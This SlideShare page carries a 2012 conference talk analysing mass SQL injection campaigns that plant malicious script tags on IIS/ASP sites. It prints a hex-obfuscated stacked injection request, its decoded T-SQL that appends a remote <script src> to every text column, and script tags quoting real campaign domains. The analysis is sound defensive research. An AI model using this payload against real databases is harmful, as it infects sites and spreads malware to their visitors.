SlideShare a Scribd company logo
1 of 40
Download to read offline
Analysis of mass SQL
  injection attacks
   Miroslav Štampar
     (dev@sqlmap.org)
FUD (Fear, Uncertainty, Doubt)
 “A new virus is making the rounds and is
  wreaking havoc on the Internet”
 “Whatever language is used to write to the
  database, all SQL databases use the same
  basic formulas for writing and retrieving data”
 “Targets that bottleneck in the technology,
  making it platform-independent… Whether the
  machine is using ASP, ColdFusion, JSP, PHP, or
  whatever else”
 “...blazing through the internet, infecting more
  than half a million domains around the world to
  date and as many as 1.5 million URLs”
FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   2
Google is (not) your friend (1)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   3
Google is (not) your friend (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   4
Google is (not) your friend (3)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   5
What's it all about?
 Platform dependent (IIS/ASP(.NET))
 DBMS dependent (Microsoft SQL Server)
 Highly automated (tool-based) approach
 Popular SQL enumeration tools with or without
  Google search capability don't count (e.g.
  sqlmap, Havij, Pangolin)
 Infection(s) counting in thousands of domains
  (not millions as previously believed)
 Dummy as it can be (usually one request per
  target)
 In short: malware distribution

FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   6
Modus operandi
 Get hands on couple of 1-day exploits
 Blindly inject SQL payload carrying malicious
  content (<script>, <iframe>, etc.) into
  content tables of as much as possible
  vulnerable web servers
 Leverage exploit(s) and/or user's lack of
  technical knowledge to install malware
  (spyware, trojans, etc.) to visitor's computer
 Profit(???) - (DEFCON 18 – Garry Pejski:
  “My Life As A Spyware Developer”)


FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   7
Sample leveraged exploits
  CVE-2012-4681               Oracle Java 7 Update 6
  CVE-2012-1889               Microsoft XML Core Services
  CVE-2012-1723               Java Runtime Environment
  CVE-2012-0507               Java Runtime Environment
  CVE-2011-3544               Java Runtime Environment
  CVE-2011-2110               Adobe Flash Player
  CVE-2011-0611               Adobe Flash Player
  CVE-2010-3552               New Java Plug-in
  CVE-2010-0188               Adobe Reader
  etc.

FSec – FOI 2012, Varaždin (Croatia)         September 21st, 2012   8
Notable members (1)
 Lilupophilupop (sl.php)
      "></title><script
       src="http://lilupophilupop.com/sl.php"></script><!--

 Nikjju (r.php)
      <script src=http://nikjju.com/r.php></script>

 Robint (u.js)
      <script src=http://ww.robint.us/u.js></script>

 LizaMoon (ur.php)
      </title><script src=http://lizamoon.com/ur.php></script>

 Jjghui (urchin.js)
      </title><script src=http://jjghui.com/urchin.js></script>




FSec – FOI 2012, Varaždin (Croatia)          September 21st, 2012   9
Notable members (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   10
Notable members (3)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   11
Generic payload (obfuscated)
GET /vuln.asp?param=1;DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C40
4320564152434841522832353529204445434C415245205461626C655F43
7572736F7220435552534F5220464F522053454C45435420612E6E616D65
2C622E6E616D652046524F4D207379736F626A6563747320612C73797363
6F6C756D6E73206220574845524520612E69643D622E696420414E442061
2E78747970653D27752720414E442028622E78747970653D3939204F5220
............................................................
5845432827555044415445205B272B40542B275D20534554205B272B4043
2B275D3D525452494D28434F4E5645525428564152434841522834303030
292C5B272B40432B275D29292B27273C736372697074207372633D687474
703A2F2F7777772E63686B6164772E636F6D2F622E6A733E3C2F73637269
70743E27272729204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F4375
72736F7220 AS VARCHAR(4000));EXEC(@S);--



FSec – FOI 2012, Varaždin (Croatia)    September 21st, 2012   12
Generic payload (decoded)
DECLARE @t VARCHAR(255), @c VARCHAR(255)
DECLARE table_cursor CURSOR FOR
SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) /* NTEXT, TEXT, NVARCHAR,
VARCHAR */
OPEN table_cursor FETCH NEXT FROM       table_cursor INTO @t,@c
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@t+'] SET ['+@c+']=RTRIM(CONVERT(VARCHAR,
['+@c+']))+''<script
src=http://www.attacker.com/malicious.js></script>''')
FETCH NEXT FROM        table_cursor INTO @t,@c
END
CLOSE table_cursor
DEALLOCATE table_cursor

FSec – FOI 2012, Varaždin (Croatia)          September 21st, 2012   13
Analysis (1)
 Piggy backing (stacked) SQL injection
 Obfuscated SQL code (hex encoded)
 Decoded code dynamically executed with T-
  SQL EXEC command
 Usage of cursor for update
 Iterating over all tables / all text-like columns
 Appending malicious content (e.g. <script
  src=...) to all matched column entries using
  UPDATE statement


FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   14
Analysis (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   15
Analysis (3)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   16
Example (1) - FAIL




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   17
Example (2) - FAIL




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   18
Example (3) - FAIL




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   19
Example (4) – CLUSTER FAIL




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   20
Example (5) - SUCCESS




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   21
Example (6) - SUCCESS




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   22
Asprox (1)
 Spam botnet used for phishing scams (>10K
  bots)
 Developed over years
 Interesting update “msscntr32.exe” (SQL
  attack tool)
 Google search for targets (e.g. inurl:".asp")
 Launch SQL injection attacks against resulting
  pages




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   23
Asprox (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   24
CLI (1)
 Standalone executable
 Rare beast (Chinese underground forums?)
 Google search for targets (e.g.: inurl:".asp"
  inurl:"a=")
 Configurable malicious tag that will be inserted
  (originally <script
  src=http://www.2117966.net/fuckjp.js></s
  cript>)
 Wild guess is that attackers are being paid for
  using the tool (backcall to *.cn/pay.asp?
  SN=...)

FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   25
CLI (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   26
Sample tool (1)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   27
Sample tool (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   28
Sample tool (3)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   29
Sample tool (4)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   30
Sample tool (5)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   31
Sample run (1)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   32
Sample run (2)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   33
Sample run (3)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   34
Sample run (4)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   35
Sample run (5)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   36
Sample run (6)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   37
Sample run (7)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   38
Sample run (8)




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   39
Questions?




FSec – FOI 2012, Varaždin (Croatia)   September 21st, 2012   40

More Related Content

What's hot

Crypto With OpenSSL
Crypto With OpenSSLCrypto With OpenSSL
Crypto With OpenSSL
Zhi Guan
 
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
Ontico
 
9 password security
9   password security9   password security
9 password security
drewz lin
 

What's hot (20)

Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
 
Hack ASP.NET website
Hack ASP.NET websiteHack ASP.NET website
Hack ASP.NET website
 
Эксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAPЭксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAP
 
Mem forensic
Mem forensicMem forensic
Mem forensic
 
OpenSSL Basic Function Call Flow
OpenSSL Basic Function Call FlowOpenSSL Basic Function Call Flow
OpenSSL Basic Function Call Flow
 
Crypto With OpenSSL
Crypto With OpenSSLCrypto With OpenSSL
Crypto With OpenSSL
 
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
ToroDB: scaling PostgreSQL like MongoDB / Álvaro Hernández Tortosa (8Kdata)
 
Object Oriented Code RE with HexraysCodeXplorer
Object Oriented Code RE with HexraysCodeXplorerObject Oriented Code RE with HexraysCodeXplorer
Object Oriented Code RE with HexraysCodeXplorer
 
Veil-PowerView - NovaHackers
Veil-PowerView - NovaHackersVeil-PowerView - NovaHackers
Veil-PowerView - NovaHackers
 
Java 7 & 8 New Features
Java 7 & 8 New FeaturesJava 7 & 8 New Features
Java 7 & 8 New Features
 
9 password security
9   password security9   password security
9 password security
 
Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017
 
Password (in)security
Password (in)securityPassword (in)security
Password (in)security
 
Password Security
Password SecurityPassword Security
Password Security
 
First Ride on Rust
First Ride on RustFirst Ride on Rust
First Ride on Rust
 
Password Security
Password SecurityPassword Security
Password Security
 
OpenSSL programming (still somewhat initial version)
OpenSSL programming (still somewhat initial version)OpenSSL programming (still somewhat initial version)
OpenSSL programming (still somewhat initial version)
 
Distributed systems at ok.ru #rigadevday
Distributed systems at ok.ru #rigadevdayDistributed systems at ok.ru #rigadevday
Distributed systems at ok.ru #rigadevday
 
Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup
 
12 virtualmachine
12 virtualmachine12 virtualmachine
12 virtualmachine
 

Viewers also liked

Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las VegasGet the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
Shawn Tuma
 
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
Laila Mustafa
 
Mtaq daerah seremban
Mtaq daerah serembanMtaq daerah seremban
Mtaq daerah seremban
Laila Mustafa
 

Viewers also liked (20)

Curious Case of SQLi
Curious Case of SQLiCurious Case of SQLi
Curious Case of SQLi
 
2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)
 
Smashing the Buffer
Smashing the BufferSmashing the Buffer
Smashing the Buffer
 
sqlmap - Under the Hood
sqlmap - Under the Hoodsqlmap - Under the Hood
sqlmap - Under the Hood
 
sqlmap - security development in Python
sqlmap - security development in Pythonsqlmap - security development in Python
sqlmap - security development in Python
 
It all starts with the ' (SQL injection from attacker's point of view)
It all starts with the ' (SQL injection from attacker's point of view)It all starts with the ' (SQL injection from attacker's point of view)
It all starts with the ' (SQL injection from attacker's point of view)
 
sqlmap - why (not how) it works?
sqlmap - why (not how) it works?sqlmap - why (not how) it works?
sqlmap - why (not how) it works?
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability
 
DNS exfiltration using sqlmap
DNS exfiltration using sqlmapDNS exfiltration using sqlmap
DNS exfiltration using sqlmap
 
Do Modus Operandi ao Modus Vivendi: uma nova percepção de interfaces
Do Modus Operandi ao Modus Vivendi: uma nova percepção de interfacesDo Modus Operandi ao Modus Vivendi: uma nova percepção de interfaces
Do Modus Operandi ao Modus Vivendi: uma nova percepção de interfaces
 
Web App Security Horror Stories
Web App Security Horror StoriesWeb App Security Horror Stories
Web App Security Horror Stories
 
201412 wapples 웹방화벽_시온
201412 wapples 웹방화벽_시온201412 wapples 웹방화벽_시온
201412 wapples 웹방화벽_시온
 
Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las VegasGet the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
Get the FUD out of Cybersecurity! ISACA CSXNA 2016 in Las Vegas
 
Binders and crypters
Binders and cryptersBinders and crypters
Binders and crypters
 
Anti-Virus Evasion Techniques and Countermeasures
Anti-Virus Evasion Techniques and CountermeasuresAnti-Virus Evasion Techniques and Countermeasures
Anti-Virus Evasion Techniques and Countermeasures
 
AntiVirus Evasion Techniques Use of Crypters 2k14 at MundoHackerDay
AntiVirus Evasion Techniques Use of Crypters 2k14 at MundoHackerDayAntiVirus Evasion Techniques Use of Crypters 2k14 at MundoHackerDay
AntiVirus Evasion Techniques Use of Crypters 2k14 at MundoHackerDay
 
Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1
 
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
Majlis pelantikan pengawas pss Sk Kompleks KLIA Sesi 2013
 
Kajian 1 KM ITB: Evaluasi 8 Tahun SBY
Kajian 1 KM ITB: Evaluasi 8 Tahun SBYKajian 1 KM ITB: Evaluasi 8 Tahun SBY
Kajian 1 KM ITB: Evaluasi 8 Tahun SBY
 
Mtaq daerah seremban
Mtaq daerah serembanMtaq daerah seremban
Mtaq daerah seremban
 

Similar to Analysis of mass SQL injection attacks

ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
Cyber Security Alliance
 
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Priyanka Aash
 
NodeJS for Novices - 28/Oct/13 - Winnipeg, MB
NodeJS for Novices - 28/Oct/13 - Winnipeg, MBNodeJS for Novices - 28/Oct/13 - Winnipeg, MB
NodeJS for Novices - 28/Oct/13 - Winnipeg, MB
David Wesst
 
Hacklu2012 v07
Hacklu2012 v07Hacklu2012 v07
Hacklu2012 v07
F _
 

Similar to Analysis of mass SQL injection attacks (20)

ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
ASFWS 2012 - Node.js Security – Old vulnerabilities in new dresses par Sven V...
 
2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIA2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIA
 
Robert hall2017 android_np
Robert hall2017 android_npRobert hall2017 android_np
Robert hall2017 android_np
 
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparen...
 
NodeJS for Novices - 28/Oct/13 - Winnipeg, MB
NodeJS for Novices - 28/Oct/13 - Winnipeg, MBNodeJS for Novices - 28/Oct/13 - Winnipeg, MB
NodeJS for Novices - 28/Oct/13 - Winnipeg, MB
 
OWASP an Introduction
OWASP an Introduction OWASP an Introduction
OWASP an Introduction
 
Ah java-ppt1
Ah java-ppt1Ah java-ppt1
Ah java-ppt1
 
Hacklu2012 v07
Hacklu2012 v07Hacklu2012 v07
Hacklu2012 v07
 
SQL/JavaScript Hybrid Worms As Two-stage Quines
SQL/JavaScript Hybrid Worms As Two-stage Quines SQL/JavaScript Hybrid Worms As Two-stage Quines
SQL/JavaScript Hybrid Worms As Two-stage Quines
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Meteoro de pegasuus! Desenvolvendo aplicações realtime com MeteorJS
Meteoro de pegasuus! Desenvolvendo aplicações realtime com MeteorJSMeteoro de pegasuus! Desenvolvendo aplicações realtime com MeteorJS
Meteoro de pegasuus! Desenvolvendo aplicações realtime com MeteorJS
 
Vladyslav_Chapiuk_Resume_en
Vladyslav_Chapiuk_Resume_enVladyslav_Chapiuk_Resume_en
Vladyslav_Chapiuk_Resume_en
 
RSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP TrainingRSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP Training
 
APEX Alpe Adria 2019 - JavaScript in APEX - do it right!
APEX Alpe Adria 2019 -  JavaScript in APEX - do it right!APEX Alpe Adria 2019 -  JavaScript in APEX - do it right!
APEX Alpe Adria 2019 - JavaScript in APEX - do it right!
 
Ed presents JSF 2.2 and WebSocket to Gameduell.
Ed presents JSF 2.2 and WebSocket to Gameduell.Ed presents JSF 2.2 and WebSocket to Gameduell.
Ed presents JSF 2.2 and WebSocket to Gameduell.
 
The Log4Shell Vulnerability – explained: how to stay secure
The Log4Shell Vulnerability – explained: how to stay secureThe Log4Shell Vulnerability – explained: how to stay secure
The Log4Shell Vulnerability – explained: how to stay secure
 
Isomorphic JS - new silver bullet
Isomorphic JS - new silver bulletIsomorphic JS - new silver bullet
Isomorphic JS - new silver bullet
 
REX CraftConf 2022 / Supply Chain Attack
REX CraftConf 2022 / Supply Chain AttackREX CraftConf 2022 / Supply Chain Attack
REX CraftConf 2022 / Supply Chain Attack
 
Enterprise Java: Just What Is It and the Risks, Threats, and Exposures It Poses
Enterprise Java: Just What Is It and the Risks, Threats, and Exposures It PosesEnterprise Java: Just What Is It and the Risks, Threats, and Exposures It Poses
Enterprise Java: Just What Is It and the Risks, Threats, and Exposures It Poses
 
Jet presentation
Jet presentationJet presentation
Jet presentation
 

More from Miroslav Stampar

More from Miroslav Stampar (8)

sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"
 
Blind WAF identification
Blind WAF identificationBlind WAF identification
Blind WAF identification
 
sqlmap internals
sqlmap internalssqlmap internals
sqlmap internals
 
Improving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic DenoiseImproving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic Denoise
 
APT Attacks on Critical Infrastructure
APT Attacks on Critical InfrastructureAPT Attacks on Critical Infrastructure
APT Attacks on Critical Infrastructure
 
WARNING: Do Not Feed the Bears
WARNING: Do Not Feed the BearsWARNING: Do Not Feed the Bears
WARNING: Do Not Feed the Bears
 
Non-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & TricksNon-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & Tricks
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection Attacks
 

Recently uploaded

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Recently uploaded (20)

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 

Analysis of mass SQL injection attacks

  • 1. Analysis of mass SQL injection attacks Miroslav Štampar (dev@sqlmap.org)
  • 2. FUD (Fear, Uncertainty, Doubt)  “A new virus is making the rounds and is wreaking havoc on the Internet”  “Whatever language is used to write to the database, all SQL databases use the same basic formulas for writing and retrieving data”  “Targets that bottleneck in the technology, making it platform-independent… Whether the machine is using ASP, ColdFusion, JSP, PHP, or whatever else”  “...blazing through the internet, infecting more than half a million domains around the world to date and as many as 1.5 million URLs” FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 2
  • 3. Google is (not) your friend (1) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 3
  • 4. Google is (not) your friend (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 4
  • 5. Google is (not) your friend (3) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 5
  • 6. What's it all about?  Platform dependent (IIS/ASP(.NET))  DBMS dependent (Microsoft SQL Server)  Highly automated (tool-based) approach  Popular SQL enumeration tools with or without Google search capability don't count (e.g. sqlmap, Havij, Pangolin)  Infection(s) counting in thousands of domains (not millions as previously believed)  Dummy as it can be (usually one request per target)  In short: malware distribution FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 6
  • 7. Modus operandi  Get hands on couple of 1-day exploits  Blindly inject SQL payload carrying malicious content (<script>, <iframe>, etc.) into content tables of as much as possible vulnerable web servers  Leverage exploit(s) and/or user's lack of technical knowledge to install malware (spyware, trojans, etc.) to visitor's computer  Profit(???) - (DEFCON 18 – Garry Pejski: “My Life As A Spyware Developer”) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 7
  • 8. Sample leveraged exploits  CVE-2012-4681 Oracle Java 7 Update 6  CVE-2012-1889 Microsoft XML Core Services  CVE-2012-1723 Java Runtime Environment  CVE-2012-0507 Java Runtime Environment  CVE-2011-3544 Java Runtime Environment  CVE-2011-2110 Adobe Flash Player  CVE-2011-0611 Adobe Flash Player  CVE-2010-3552 New Java Plug-in  CVE-2010-0188 Adobe Reader  etc. FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 8
  • 9. Notable members (1)  Lilupophilupop (sl.php)  "></title><script src="http://lilupophilupop.com/sl.php"></script><!--  Nikjju (r.php)  <script src=http://nikjju.com/r.php></script>  Robint (u.js)  <script src=http://ww.robint.us/u.js></script>  LizaMoon (ur.php)  </title><script src=http://lizamoon.com/ur.php></script>  Jjghui (urchin.js)  </title><script src=http://jjghui.com/urchin.js></script> FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 9
  • 10. Notable members (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 10
  • 11. Notable members (3) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 11
